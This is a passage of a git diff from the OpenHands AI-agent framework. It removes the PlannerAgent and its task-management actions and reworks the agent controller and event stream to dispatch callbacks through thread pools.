elif action.task_id.startswith('0.'): - action.task_id = f'{state.root_task.id}{action.task_id[1:]}' - # Ensure the task_id doesn't start with a dot - if action.task_id.startswith('.'): - action.task_id = action.task_id[1:] - elif isinstance(action, (BrowseURLAction, BrowseInteractiveAction)): - try: - return self.simulate_browser_action(action) - except ( - Exception - ): # This could be a specific exception for browser unavailability - return self.handle_browser_unavailable(action) - if state.iteration > 0: prev_step = self.steps[state.iteration - 1] @@ -190,22 +161,3 @@ def step(self, state: State) -> Action: ) return action - - def simulate_browser_action( - self, action: Union[BrowseURLAction, BrowseInteractiveAction] - ) -> Action: - # Instead of simulating, we'll reject the browser action - return self.handle_browser_unavailable(action) - - def handle_browser_unavailable( - self, action: Union[BrowseURLAction, BrowseInteractiveAction] - ) -> Action: - # Create a message action to inform that browsing is not available - message = 'Browser actions are not available in the DummyAgent environment.' - if isinstance(action, BrowseURLAction): - message += f' Unable to browse URL: {action.url}' - elif isinstance(action, BrowseInteractiveAction): - message += ( - f' Unable to perform interactive browsing: {action.browser_actions}' - ) - return MessageAction(content=message) diff --git a/openhands/agenthub/planner_agent/__init__.py b/openhands/agenthub/planner_agent/__init__.py deleted file mode 100644 index e8c030e84c09..000000000000 --- a/openhands/agenthub/planner_agent/__init__.py +++ /dev/null @@ -1,4 +0,0 @@ -from openhands.agenthub.planner_agent.agent import PlannerAgent -from openhands.controller.agent import Agent - -Agent.register('PlannerAgent', PlannerAgent) diff --git a/openhands/agenthub/planner_agent/agent.py b/openhands/agenthub/planner_agent/agent.py deleted file mode 100644 index f5aef523d9b9..000000000000 --- a/openhands/agenthub/planner_agent/agent.py +++ /dev/null @@ -1,53 +0,0 @@ -from openhands.agenthub.planner_agent.prompt import get_prompt_and_images -from openhands.agenthub.planner_agent.response_parser import PlannerResponseParser -from openhands.controller.agent import Agent -from openhands.controller.state.state import State -from openhands.core.config import AgentConfig -from openhands.core.message import ImageContent, Message, TextContent -from openhands.events.action import Action, AgentFinishAction -from openhands.llm.llm import LLM - - -class PlannerAgent(Agent): - VERSION = '1.0' - """ - The planner agent utilizes a special prompting strategy to create long term plans for solving problems. - The agent is given its previous action-observation pairs, current task, and hint based on last action taken at every step. - """ - response_parser = PlannerResponseParser() - - def __init__(self, llm: LLM, config: AgentConfig): - """Initialize the Planner Agent with an LLM - - Parameters: - - llm (LLM): The llm to be used by this agent - """ - super().__init__(llm, config) - - def step(self, state: State) -> Action: - """Checks to see if current step is completed, returns AgentFinishAction if True. - Otherwise, creates a plan prompt and sends to model for inference, returning the result as the next action. - - Parameters: - - state (State): The current state given the previous actions and observations - - Returns: - - AgentFinishAction: If the last state was 'completed', 'verified', or 'abandoned' - - Action: The next action to take based on llm response - """ - if state.root_task.state in [ - 'completed', - 'verified', - 'abandoned', - ]: - return AgentFinishAction() - - prompt, image_urls = get_prompt_and_images( - state, self.llm.config.max_message_chars - ) - content = [TextContent(text=prompt)] - if self.llm.vision_is_active() and image_urls: - content.append(ImageContent(image_urls=image_urls)) - message = Message(role='user', content=content) - resp = self.llm.completion(messages=self.llm.format_messages_for_llm(message)) - return self.response_parser.parse(resp) diff --git a/openhands/agenthub/planner_agent/prompt.py b/openhands/agenthub/planner_agent/prompt.py deleted file mode 100644 index 7b73f4353131..000000000000 --- a/openhands/agenthub/planner_agent/prompt.py +++ /dev/null @@ -1,191 +0,0 @@ -from openhands.controller.state.state import State -from openhands.core.logger import openhands_logger as logger -from openhands.core.schema import ActionType -from openhands.core.utils import json -from openhands.events.action import ( - Action, - NullAction, -) -from openhands.events.serialization.action import action_from_dict -from openhands.events.serialization.event import event_to_memory - -HISTORY_SIZE = 20 - -prompt = """ -# Task -You're a diligent software engineer AI. You can't see, draw, or interact with a -browser, but you can read and write files, and you can run commands, and you can think. - -You've been given the following task: - -%(task)s - -## Plan -As you complete this task, you're building a plan and keeping -track of your progress. Here's a JSON representation of your plan: - -%(plan)s - - -%(plan_status)s - -You're responsible for managing this plan and the status of tasks in -it, by using the `add_task` and `modify_task` actions described below. - -If the History below contradicts the state of any of these tasks, you -MUST modify the task using the `modify_task` action described below. - -Be sure NOT to duplicate any tasks. Do NOT use the `add_task` action for -a task that's already represented. Every task must be represented only once. - -Tasks that are sequential MUST be siblings. They must be added in order -to their parent task. - -If you mark a task as 'completed', 'verified', or 'abandoned', -all non-abandoned subtasks will be marked the same way. -So before closing a task this way, you MUST not only be sure that it has -been completed successfully--you must ALSO be sure that all its subtasks -are ready to be marked the same way. - -If, and only if, ALL tasks have already been marked verified, -you MUST respond with the `finish` action. - -## History -Here is a recent history of actions you've taken in service of this plan, -as well as observations you've made. This only includes the MOST RECENT -ten actions--more happened before that. - -%(history)s - - -Your most recent action is at the bottom of that history. - -## Action -What is your next thought or action? Your response must be in JSON format. - -It must be an object, and it must contain two fields: -* `action`, which is one of the actions below -* `args`, which is a map of key-value pairs, specifying the arguments for that action - -* `read` - reads the content of a file. Arguments: - * `path` - the path of the file to read -* `write` - writes the content to a file. Arguments: - * `path` - the path of the file to write - * `content` - the content to write to the file -* `run` - runs a command on the command line in a Linux shell. Arguments: - * `command` - the command to run -* `browse` - opens a web page. Arguments: - * `url` - the URL to open -* `message` - make a plan, set a goal, record your thoughts, or ask for more input from the user. Arguments: - * `content` - the message to record - * `wait_for_response` - set to `true` to wait for the user to respond before proceeding -* `add_task` - add a task to your plan. Arguments: - * `parent` - the ID of the parent task (leave empty if it should go at the top level) - * `goal` - the goal of the task - * `subtasks` - a list of subtasks, each of which is a map with a `goal` key. -* `modify_task` - close a task. Arguments: - * `task_id` - the ID of the task to close - * `state` - set to 'in_progress' to start the task, 'completed' to finish it, 'verified' to assert that it was successful, 'abandoned' to give up on it permanently, or `open` to stop working on it for now. -* `finish` - if ALL of your tasks and subtasks have been verified or abandoned, and you're absolutely certain that you've completed your task and have tested your work, use the finish action to stop working. - -You MUST take time to think in between read, write, run, and browse actions--do this with the `message` action. -You should never act twice in a row without thinking. But if your last several -actions are all `message` actions, you should consider taking a different action. - -What is your next thought or action? Again, you must reply with JSON, and only with JSON. - -%(hint)s -""" - - -def get_hint(latest_action_id: str) -> str: - """Returns action type hint based on given action_id""" - hints = { - '': "You haven't taken any actions yet. Start by using `ls` to check out what files you're working with.", - ActionType.RUN: 'You should think about the command you just ran, what output it gave, and how that affects your plan.', - ActionType.READ: 'You should think about the file you just read, what you learned from it, and how that affects your plan.', - ActionType.WRITE: 'You just changed a file. You should think about how it affects your plan.', - ActionType.BROWSE: 'You should think about the page you just visited, and what you learned from it.', - ActionType.MESSAGE: "Look at your last thought in the history above. What does it suggest? Don't think anymore--take action.", - ActionType.ADD_TASK: 'You should think about the next action to take.', - ActionType.MODIFY_TASK: 'You should think about the next action to take.', - ActionType.SUMMARIZE: '', - ActionType.FINISH: '', - } - return hints.get(latest_action_id, '') - - -def get_prompt_and_images( - state: State, max_message_chars: int -) -> tuple[str, list[str] | None]: - """Gets the prompt for the planner agent. - - Formatted with the most recent action-observation pairs, current task, and hint based on last action - - Parameters: - - state (State): The state of the current agent - - Returns: - - str: The formatted string prompt with historical values - """ - # the plan - plan_str = json.dumps(state.root_task.to_dict(), indent=2) - - # the history - history_dicts = [] - latest_action: Action = NullAction() - - # retrieve the latest HISTORY_SIZE events - for event_count, event in enumerate(reversed(state.history)): - if event_count >= HISTORY_SIZE: - break - if latest_action == NullAction() and isinstance(event, Action): - latest_action = event - history_dicts.append(event_to_memory(event, max_message_chars)) - - # history_dicts is in reverse order, lets fix it - history_dicts.reverse() - - # and get it as a JSON string - history_str = json.dumps(history_dicts, indent=2) - - # the plan status - current_task = state.root_task.get_current_task() - if current_task is not None: - plan_status = f"You're currently working on this task:\n{current_task.goal}." - if len(current_task.subtasks) == 0: - plan_status += "\nIf it's not achievable AND verifiable with a SINGLE action, you MUST break it down into subtasks NOW." - else: - plan_status = "You're not currently working on any tasks. Your next action MUST be to mark a task as in_progress." - - # the hint, based on the last action - hint = get_hint(event_to_memory(latest_action, max_message_chars).get('action', '')) - logger.debug('HINT:\n' + hint, extra={'msg_type': 'DETAIL'}) - - # the last relevant user message (the task) - message, image_urls = state.get_current_user_intent() - - # finally, fill in the prompt - return prompt % { - 'task': message, - 'plan': plan_str, - 'history': history_str, - 'hint': hint, - 'plan_status': plan_status, - }, image_urls - - -def parse_response(response: str) -> Action: - """Parses the model output to find a valid action to take - Parameters: - - response (str): A response from the model that potentially contains an Action. - - Returns: - - Action: A valid next action to perform from model output - """ - action_dict = json.loads(response) - if 'contents' in action_dict: - # The LLM gets confused here. Might as well be robust - action_dict['content'] = action_dict.pop('contents') - action = action_from_dict(action_dict) - return action diff --git a/openhands/agenthub/planner_agent/response_parser.py b/openhands/agenthub/planner_agent/response_parser.py deleted file mode 100644 index 12068cd5b769..000000000000 --- a/openhands/agenthub/planner_agent/response_parser.py +++ /dev/null @@ -1,37 +0,0 @@ -from openhands.controller.action_parser import ResponseParser -from openhands.core.utils import json -from openhands.events.action import ( - Action, -) -from openhands.events.serialization.action import action_from_dict - - -class PlannerResponseParser(ResponseParser): - def __init__(self): - super().__init__() - - def parse(self, response: str) -> Action: - action_str = self.parse_response(response) - return self.parse_action(action_str) - - def parse_response(self, response) -> str: - # get the next action from the response - return response['choices'][0]['message']['content'] - - def parse_action(self, action_str: str) -> Action: - """Parses a string to find an action within it - - Parameters: - - response (str): The string to be parsed - - Returns: - - Action: The action that was found in the response string - """ - # attempt to load the JSON dict from the response - action_dict = json.loads(action_str) - - if 'content' in action_dict: - # The LLM gets confused here. Might as well be robust - action_dict['contents'] = action_dict.pop('content') - - return action_from_dict(action_dict) diff --git a/openhands/controller/agent_controller.py b/openhands/controller/agent_controller.py index a6b666f13690..2c0fd0f39fad 100644 --- a/openhands/controller/agent_controller.py +++ b/openhands/controller/agent_controller.py @@ -26,7 +26,6 @@ from openhands.events.action import ( Action, ActionConfirmationStatus, - AddTaskAction, AgentDelegateAction, AgentFinishAction, AgentRejectAction, @@ -34,7 +33,6 @@ CmdRunAction, IPythonRunCellAction, MessageAction, - ModifyTaskAction, NullAction, ) from openhands.events.event import Event @@ -47,7 +45,6 @@ ) from openhands.events.serialization.event import truncate_content from openhands.llm.llm import LLM -from openhands.utils.shutdown_listener import should_continue # note: RESUME is only available on web GUI TRAFFIC_CONTROL_REMINDER = ( @@ -64,7 +61,6 @@ class AgentController: confirmation_mode: bool agent_to_llm_config: dict[str, LLMConfig] agent_configs: dict[str, AgentConfig] - agent_task: asyncio.Future | None = None parent: 'AgentController | None' = None delegate: 'AgentController | None' = None _pending_action: Action | None = None @@ -109,7 +105,6 @@ def __init__( headless_mode: Whether the agent is run in headless mode. status_callback: Optional callback function to handle status updates. """ - self._step_lock = asyncio.Lock() self.id = sid self.agent = agent self.headless_mode = headless_mode @@ -199,32 +194,45 @@ async def _react_to_exception( err_id = 'STATUS$ERROR_LLM_AUTHENTICATION' self.status_callback('error', err_id, type(e).__name__ + ': ' + str(e)) - async def start_step_loop(self): - """The main loop for the agent's step-by-step execution.""" - self.log('info', 'Starting step loop...') - while True: - if not self._is_awaiting_observation() and not should_continue(): - break - if self._closed: - break - try: - await self._step() - except asyncio.CancelledError: - self.log('debug', 'AgentController task was cancelled') - break - except Exception as e: - traceback.print_exc() - self.log('error', f'Error while running the agent: {e}') - await self._react_to_exception(e) + def step(self): + asyncio.create_task(self._step_with_exception_handling()) + + async def _step_with_exception_handling(self): + try: + await self._step() + except Exception as e: + traceback.print_exc() + self.log('error', f'Error while running the agent: {e}') + reported = RuntimeError( + 'There was an unexpected error while running the agent.' + ) + if isinstance(e, litellm.AuthenticationError): + reported = e + await self._react_to_exception(reported) - await asyncio.sleep(0.1) + def should_step(self, event: Event) -> bool: + print('should step?', event) + if isinstance(event, Action): + if isinstance(event, MessageAction) and event.source == EventSource.USER: + return True + return False + if isinstance(event, Observation): + if isinstance(event, NullObservation) or isinstance( + event, AgentStateChangedObservation + ): + return False + return True + return False - async def on_event(self, event: Event) -> None: + def on_event(self, event: Event) -> None: """Callback from the event stream. Notifies the controller of incoming events. Args: event (Event): The incoming event to process. """ + asyncio.get_event_loop().run_until_complete(self._on_event(event)) + + async def _on_event(self, event: Event) -> None: if hasattr(event, 'hidden') and event.hidden: return @@ -237,6 +245,9 @@ async def on_event(self, event: Event) -> None: elif isinstance(event, Observation): await self._handle_observation(event) + if self.should_step(event): + self.step() + async def _handle_action(self, action: Action) -> None: """Handles actions from the event stream. @@ -249,12 +260,7 @@ async def _handle_action(self, action: Action) -> None: await self._handle_message_action(action) elif isinstance(action, AgentDelegateAction): await self.start_delegate(action) - elif isinstance(action, AddTaskAction): - self.state.root_task.add_subtask( - action.parent, action.goal, action.subtasks - ) - elif isinstance(action, ModifyTaskAction): - self.state.root_task.set_subtask_state(action.task_id, action.state) + elif isinstance(action, AgentFinishAction): self.state.outputs = action.outputs self.state.metrics.merge(self.state.local_metrics) @@ -335,6 +341,28 @@ async def _handle_message_action(self, action: MessageAction) -> None: def _reset(self) -> None: """Resets the agent controller""" + # make sure there is an Observation with the tool call metadata to be recognized by the agent + # otherwise the pending action is found in history, but it's incomplete without an obs with tool result + if self._pending_action and hasattr(self._pending_action, 'tool_call_metadata'): + # find out if there already is an observation with the same tool call metadata + found_observation = False + for event in self.state.history: + if ( + isinstance(event, Observation) + and event.tool_call_metadata + == self._pending_action.tool_call_metadata + ): + found_observation = True + break + + # make a new ErrorObservation with the tool call metadata + if not found_observation: + obs = ErrorObservation(content='The action has not been executed.') + obs.tool_call_metadata = self._pending_action.tool_call_metadata + obs._cause = self._pending_action.id # type: ignore[attr-defined] + self.event_stream.add_event(obs, EventSource.AGENT) + + # reset the pending action, this will be called when the agent is STOPPED or ERROR self._pending_action = None self.agent.reset() @@ -465,19 +493,16 @@ async def start_delegate(self, action: AgentDelegateAction) -> None: async def _step(self) -> None: """Executes a single step of the parent or delegate agent. Detects stuck agents and limits on the number of iterations and the task budget.""" if self.get_agent_state() != AgentState.RUNNING: - await asyncio.sleep(1) return if self._pending_action: - await asyncio.sleep(1) return if self.delegate is not None: assert self.delegate != self - if self.delegate.get_agent_state() == AgentState.PAUSED: - # no need to check too often - await asyncio.sleep(1) - else: + # TODO this conditional will always be false, because the parent controllers are unsubscribed + # remove if it's still useless when delegation is reworked + if self.delegate.get_agent_state() != AgentState.PAUSED: await self._delegate_step() return @@ -487,7 +512,6 @@ async def _step(self) -> None: extra={'msg_type': 'STEP'}, ) - # check if agent hit the resources limit stop_step = False if self.state.iteration >= self.state.max_iterations: stop_step = await self._handle_traffic_control( @@ -500,6 +524,7 @@ async def _step(self) -> None: 'budget', current_cost, self.max_budget_per_task ) if stop_step: + logger.warning('Stopping agent due to traffic control') return if self._is_stuck(): @@ -511,7 +536,9 @@ async def _step(self) -> None: self.update_state_before_step() action: Action = NullAction() try: + print('STEP AGENT') action = self.agent.step(self.state) + print('GOT ACTION', action) if action is None: raise LLMNoActionError('No action was returned') except ( @@ -699,12 +726,20 @@ def set_initial_state( # - the previous session, in which case it has history # - from a parent agent, in which case it has no history # - None / a new state + + # If state is None, we create a brand new state and still load the event stream so we can restore the history if state is None: self.state = State( inputs={}, max_iterations=max_iterations, confirmation_mode=confirmation_mode, ) + self.state.start_id = 0 + + self.log( + 'debug', + f'AgentController {self.id} - created new state. start_id: {self.state.start_id}', + ) else: self.state = state @@ -716,7 +751,8 @@ def set_initial_state( f'AgentController {self.id} initializing history from event {self.state.start_id}', ) - self._init_history() + # Always load from the event stream to avoid losing history + self._init_history() def _init_history(self) -> None: """Initializes the agent's history from the event stream. @@ -945,7 +981,7 @@ def __repr__(self): return ( f'AgentController(id={self.id}, agent={self.agent!r}, ' f'event_stream={self.event_stream!r}, ' - f'state={self.state!r}, agent_task={self.agent_task!r}, ' + f'state={self.state!r}, ' f'delegate={self.delegate!r}, _pending_action={self._pending_action!r})' ) diff --git a/openhands/core/cli.py b/openhands/core/cli.py index 660de7af37ab..837a5501c4bc 100644 --- a/openhands/core/cli.py +++ b/openhands/core/cli.py @@ -91,7 +91,7 @@ def display_event(event: Event, config: AppConfig): display_confirmation(event.confirmation_state) -async def main(): +async def main(loop): """Runs the agent in CLI mode""" parser = get_parser() @@ -112,7 +112,7 @@ async def main(): logger.setLevel(logging.WARNING) config = load_app_config(config_file=args.config_file) - sid = 'cli' + sid = str(uuid4()) agent_cls: Type[Agent] = Agent.get_cls(config.default_agent) agent_config = config.get_agent_config(config.default_agent) @@ -150,7 +150,6 @@ async def main(): async def prompt_for_next_task(): # Run input() in a thread pool to avoid blocking the event loop - loop = asyncio.get_event_loop() next_message = await loop.run_in_executor( None, lambda: input('How can I help? >> ') ) @@ -165,13 +164,12 @@ async def prompt_for_next_task(): event_stream.add_event(action, EventSource.USER) async def prompt_for_user_confirmation(): - loop = asyncio.get_event_loop() user_confirmation = await loop.run_in_executor( None, lambda: input('Confirm action (possible security risk)? (y/n) >> ') ) return user_confirmation.lower() == 'y' - async def on_event(event: Event): + async def on_event_async(event: Event): display_event(event, config) if isinstance(event, AgentStateChangedObservation): if event.agent_state in [ @@ -193,6 +191,9 @@ async def on_event(event: Event): ChangeAgentStateAction(AgentState.USER_REJECTED), EventSource.USER ) + def on_event(event: Event) -> None: + loop.create_task(on_event_async(event)) + event_stream.subscribe(EventStreamSubscriber.MAIN, on_event, str(uuid4())) await runtime.connect() @@ -208,7 +209,7 @@ async def on_event(event: Event): loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) try: - loop.run_until_complete(main()) + loop.run_until_complete(main(loop)) except KeyboardInterrupt: print('Received keyboard interrupt, shutting down...') except ConnectionRefusedError as e: diff --git a/openhands/core/config/utils.py b/openhands/core/config/utils.py index 3aedaf952353..e9bd80fbcb00 100644 --- a/openhands/core/config/utils.py +++ b/openhands/core/config/utils.py @@ -385,7 +385,7 @@ def get_parser() -> argparse.ArgumentParser: parser.add_argument( '-n', '--name', - default='default', + default='', type=str, help='Name for the session', ) diff --git a/openhands/core/loop.py b/openhands/core/loop.py index 2a2808dd0980..d3f783563e99 100644 --- a/openhands/core/loop.py +++ b/openhands/core/loop.py @@ -16,7 +16,6 @@ async def run_agent_until_done( the agent until it reaches a terminal state. Note that runtime must be connected before being passed in here. """ - controller.agent_task = asyncio.create_task(controller.start_step_loop()) def status_callback(msg_type, msg_id, msg): if msg_type == 'error': @@ -41,10 +40,3 @@ def status_callback(msg_type, msg_id, msg): while controller.state.agent_state not in end_states: await asyncio.sleep(1) - - if not controller.agent_task.done(): - controller.agent_task.cancel() - try: - await controller.agent_task - except asyncio.CancelledError: - pass diff --git a/openhands/core/main.py b/openhands/core/main.py index 3d36b2522ba0..a94296501733 100644 --- a/openhands/core/main.py +++ b/openhands/core/main.py @@ -182,7 +182,7 @@ async def run_controller( # init with the provided actions event_stream.add_event(initial_user_action, EventSource.USER) - async def on_event(event: Event): + def on_event(event: Event): if isinstance(event, AgentStateChangedObservation): if event.agent_state == AgentState.AWAITING_USER_INPUT: if exit_on_message: diff --git a/openhands/core/schema/action.py b/openhands/core/schema/action.py index dc4cfe542e0a..468de2e40aee 100644 --- a/openhands/core/schema/action.py +++ b/openhands/core/schema/action.py @@ -62,10 +62,6 @@ class ActionTypeSchema(BaseModel): SUMMARIZE: str = Field(default='summarize') - ADD_TASK: str = Field(default='add_task') - - MODIFY_TASK: str = Field(default='modify_task') - PAUSE: str = Field(default='pause') """Pauses the task. """ diff --git a/openhands/events/action/__init__.py b/openhands/events/action/__init__.py index 129cb3073982..71da3099ae0e 100644 --- a/openhands/events/action/__init__.py +++ b/openhands/events/action/__init__.py @@ -15,7 +15,6 @@ FileWriteAction, ) from openhands.events.action.message import MessageAction -from openhands.events.action.tasks import AddTaskAction, ModifyTaskAction __all__ = [ 'Action', @@ -30,8 +29,6 @@ 'AgentRejectAction', 'AgentDelegateAction', 'AgentSummarizeAction', - 'AddTaskAction', - 'ModifyTaskAction', 'ChangeAgentStateAction', 'IPythonRunCellAction', 'MessageAction', diff --git a/openhands/events/action/tasks.py b/openhands/events/action/tasks.py deleted file mode 100644 index b1f1c215f74d..000000000000 --- a/openhands/events/action/tasks.py +++ /dev/null @@ -1,29 +0,0 @@ -from dataclasses import dataclass, field - -from openhands.core.schema import ActionType -from openhands.events.action.action import Action - - -@dataclass -class AddTaskAction(Action): - parent: str - goal: str - subtasks: list = field(default_factory=list) - thought: str = '' - action: str = ActionType.ADD_TASK - - @property - def message(self) -> str: - return f'Added task: {self.goal}' - - -@dataclass -class ModifyTaskAction(Action): - task_id: str - state: str - thought: str = '' - action: str = ActionType.MODIFY_TASK - - @property - def message(self) -> str: - return f'Set task {self.task_id} to {self.state}' diff --git a/openhands/events/serialization/action.py b/openhands/events/serialization/action.py index f34b4b0ec0cf..208400fe9213 100644 --- a/openhands/events/serialization/action.py +++ b/openhands/events/serialization/action.py @@ -18,7 +18,6 @@ FileWriteAction, ) from openhands.events.action.message import MessageAction -from openhands.events.action.tasks import AddTaskAction, ModifyTaskAction actions = ( NullAction, @@ -32,8 +31,6 @@ AgentFinishAction, AgentRejectAction, AgentDelegateAction, - AddTaskAction, - ModifyTaskAction, ChangeAgentStateAction, MessageAction, ) diff --git a/openhands/events/stream.py b/openhands/events/stream.py index d592c17a8fee..63e464410643 100644 --- a/openhands/events/stream.py +++ b/openhands/events/stream.py @@ -1,8 +1,9 @@ import asyncio import threading -from dataclasses import dataclass, field +from concurrent.futures import ThreadPoolExecutor from datetime import datetime from enum import Enum +from queue import Queue from typing import Callable, Iterable from openhands.core.logger import openhands_logger as logger @@ -52,15 +53,29 @@ async def __aiter__(self): yield await loop.run_in_executor(None, lambda e=event: e) # type: ignore -@dataclass class EventStream: sid: str file_store: FileStore # For each subscriber ID, there is a map of callback functions - useful # when there are multiple listeners - _subscribers: dict[str, dict[str, Callable]] = field(default_factory=dict) + _subscribers: dict[str, dict[str, Callable]] _cur_id: int = 0 - _lock: threading.Lock = field(default_factory=threading.Lock) + _lock: threading.Lock + + def __init__(self, sid: str, file_store: FileStore, num_workers: int = 1): + self.sid = sid + self.file_store = file_store + self._queue: Queue[Event] = Queue() + self._thread_pools: dict[str, dict[str, ThreadPoolExecutor]] = {} + self._queue_thread = threading.Thread(target=self._run_queue_loop) + self._queue_thread.daemon = True + self._queue_thread.start() + self._subscribers = {} + self._lock = threading.Lock() + self._cur_id = 0 + + # load the stream + self.__post_init__() def __post_init__(self) -> None: try: @@ -76,6 +91,10 @@ def __post_init__(self) -> None: if id >= self._cur_id: self._cur_id = id + 1 + def _init_thread_loop(self): + loop = asyncio.new_event_loop() + asyncio.set_event_loop(loop) + def _get_filename_for_id(self, id: int) -> str: return get_conversation_event_filename(self.sid, id) @@ -157,8 +176,10 @@ def get_latest_event_id(self) -> int: def subscribe( self, subscriber_id: EventStreamSubscriber, callback: Callable, callback_id: str ): + pool = ThreadPoolExecutor(max_workers=1, initializer=self._init_thread_loop) if subscriber_id not in self._subscribers: self._subscribers[subscriber_id] = {} + self._thread_pools[subscriber_id] = {} if callback_id in self._subscribers[subscriber_id]: raise ValueError( @@ -166,6 +187,7 @@ def subscribe( ) self._subscribers[subscriber_id][callback_id] = callback + self._thread_pools[subscriber_id][callback_id] = pool def unsubscribe(self, subscriber_id: EventStreamSubscriber, callback_id: str): if subscriber_id not in self._subscribers: @@ -179,13 +201,6 @@ def unsubscribe(self, subscriber_id: EventStreamSubscriber, callback_id: str): del self._subscribers[subscriber_id][callback_id] def add_event(self, event: Event, source: EventSource): - try: - asyncio.get_running_loop().create_task(self._async_add_event(event, source)) - except RuntimeError: - # No event loop running... - asyncio.run(self._async_add_event(event, source)) - - async def _async_add_event(self, event: Event, source: EventSource): if hasattr(event, '_id') and event.id is not None: raise ValueError( 'Event already has an ID. It was probably added back to the EventStream from inside a handler, trigging a loop.' @@ -199,17 +214,39 @@ async def _async_add_event(self, event: Event, source: EventSource): data = event_to_dict(event) if event.id is not None: self.file_store.write(self._get_filename_for_id(event.id), json.dumps(data)) - tasks = [] - for key in sorted(self._subscribers.keys()): - callbacks = self._subscribers[key] - for callback_id in callbacks: - callback = callbacks[callback_id] - tasks.append(asyncio.create_task(callback(event))) - if tasks: - await asyncio.wait(tasks) - - def _callback(self, callback: Callable, event: Event): - asyncio.run(callback(event)) + self._queue.put(event) + + def _run_queue_loop(self): + loop = asyncio.new_event_loop() + asyncio.set_event_loop(loop) + loop.run_until_complete(self._process_queue()) + + async def _process_queue(self): + while should_continue(): + event = self._queue.get() + for key in sorted(self._subscribers.keys()): + callbacks = self._subscribers[key] + for callback_id in callbacks: + callback = callbacks[callback_id] + pool = self._thread_pools[key][callback_id] + future = pool.submit(callback, event) + future.add_done_callback(self._make_error_handler(callback_id, key)) + + def _make_error_handler(self, callback_id: str, subscriber_id: str): + def _handle_callback_error(fut): + try: + # This will raise any exception that occurred during callback execution + fut.result() + except Exception as e: + logger.error( + f'Error in event callback {callback_id} for subscriber {subscriber_id}: {str(e)}', + exc_info=True, + stack_info=True, + ) + # Re-raise in the main thread so the error is not swallowed + raise e + + return _handle_callback_error def filtered_events_by_source(self, source: EventSource): for event in self.get_events(): diff --git a/openhands/llm/llm.py b/openhands/llm/llm.py index b5e6ac824159..13d4dfc25047 100644 --- a/openhands/llm/llm.py +++ b/openhands/llm/llm.py @@ -13,8 +13,8 @@ warnings.simplefilter('ignore') import litellm +from litellm import ChatCompletionMessageToolCall, ModelInfo, PromptTokensDetails from litellm import Message as LiteLLMMessage -from litellm import ModelInfo, PromptTokensDetails from litellm import completion as litellm_completion from litellm import completion_cost as litellm_completion_cost from litellm.exceptions import ( @@ -246,7 +246,9 @@ def wrapper(*args, **kwargs): resp.choices[0].message = fn_call_response_message message_back: str = resp['choices'][0]['message']['content'] or '' - tool_calls = resp['choices'][0]['message'].get('tool_calls', []) + tool_calls: list[ChatCompletionMessageToolCall] = resp['choices'][0][ + 'message' + ].get('tool_calls', []) if tool_calls: for tool_call in tool_calls: fn_name = tool_call.function.name diff --git a/openhands/resolver/resolve_issue.py b/openhands/resolver/resolve_issue.py index 42f2ba05d88c..ed3bbf11178e 100644 --- a/openhands/resolver/resolve_issue.py +++ b/openhands/resolver/resolve_issue.py @@ -202,7 +202,7 @@ async def process_issue( runtime = create_runtime(config) await runtime.connect() - async def on_event(evt): + def on_event(evt): logger.info(evt) runtime.event_stream.subscribe(EventStreamSubscriber.MAIN, on_event, str(uuid4())) diff --git a/openhands/runtime/base.py b/openhands/runtime/base.py index c86cba1b055a..072362705c3f 100644 --- a/openhands/runtime/base.py +++ b/openhands/runtime/base.py @@ -1,3 +1,4 @@ +import asyncio import atexit import copy import json @@ -167,38 +168,40 @@ def add_env_vars(self, env_vars: dict[str, str]) -> None: f'Failed to add env vars [{env_vars}] to environment: {obs.content}' ) - async def on_event(self, event: Event) -> None: + def on_event(self, event: Event) -> None: if isinstance(event, Action): - # set timeout to default if not set - if event.timeout is None: - event.timeout = self.config.sandbox.timeout - assert event.timeout is not None - try: - observation: Observation = await call_sync_from_async( - self.run_action, event - ) - except Exception as e: - err_id = '' - if isinstance(e, ConnectionError) or isinstance( - e, AgentRuntimeDisconnectedError - ): - err_id = 'STATUS$ERROR_RUNTIME_DISCONNECTED' - logger.error( - 'Unexpected error while running action', - exc_info=True, - stack_info=True, - ) - self.log('error', f'Problematic action: {str(event)}') - self.send_error_message(err_id, str(e)) - self.close() - return - - observation._cause = event.id # type: ignore[attr-defined] - observation.tool_call_metadata = event.tool_call_metadata - - # this might be unnecessary, since source should be set by the event stream when we're here - source = event.source if event.source else EventSource.AGENT - self.event_stream.add_event(observation, source) # type: ignore[arg-type] + asyncio.get_event_loop().run_until_complete(self._handle_action(event)) + + async def _handle_action(self, event: Action) -> None: + if event.timeout is None: + event.timeout = self.config.sandbox.timeout + assert event.timeout is not None + try: + observation: Observation = await call_sync_from_async( + self.run_action, event + ) + except Exception as e: + err_id = '' + if isinstance(e, ConnectionError) or isinstance( + e, AgentRuntimeDisconnectedError + ): + err_id = 'STATUS$ERROR_RUNTIME_DISCONNECTED' + logger.error( + 'Unexpected error while running action', + exc_info=True, + stack_info=True, + ) + self.log('error', f'Problematic action: {str(event)}') + self.send_error_message(err_id, str(e)) + self.close() + return + + observation._cause = event.id # type: ignore[attr-defined] + observation.tool_call_metadata = event.tool_call_metadata + + # this might be unnecessary, since source should be set by the event stream when we're here + source = event.source if event.source else EventSource.AGENT + self.event_stream.add_event(observation, source) # type: ignore[arg-type] def clone_repo(self, github_token: str | None, selected_repository: str | None): if not github_token or not selected_repository: diff --git a/openhands/server/mock/listen.py b/openhands/server/mock/listen.py index 30aaef68589a..d5e51585a982 100644 --- a/openhands/server/mock/listen.py +++ b/openhands/server/mock/listen.py @@ -49,7 +49,6 @@ def read_llm_models(): def read_llm_agents(): return [ 'CodeActAgent', - 'PlannerAgent', ] diff --git a/openhands/server/routes/new_conversation.py b/openhands/server/routes/new_conversation.py index b1dd75211205..09394c209183 100644 --- a/openhands/server/routes/new_conversation.py +++ b/openhands/server/routes/new_conversation.py @@ -6,10 +6,10 @@ from pydantic import BaseModel from openhands.core.logger import openhands_logger as logger +from openhands.server.data_models.conversation_metadata import ConversationMetadata from openhands.server.routes.settings import ConversationStoreImpl, SettingsStoreImpl from openhands.server.session.conversation_init_data import ConversationInitData from openhands.server.shared import config, session_manager -from openhands.server.data_models.conversation_metadata import ConversationMetadata from openhands.utils.async_utils import call_sync_from_async app = APIRouter(prefix='/api') @@ -28,37 +28,42 @@ async def new_conversation(request: Request, data: InitSessionRequest): After successful initialization, the client should connect to the WebSocket using the returned conversation ID """ + logger.info('Initializing new conversation') github_token = '' if data.github_token: github_token = data.github_token + logger.info('Loading settings') settings_store = await SettingsStoreImpl.get_instance(config, github_token) settings = await settings_store.load() + logger.info('Settings loaded') 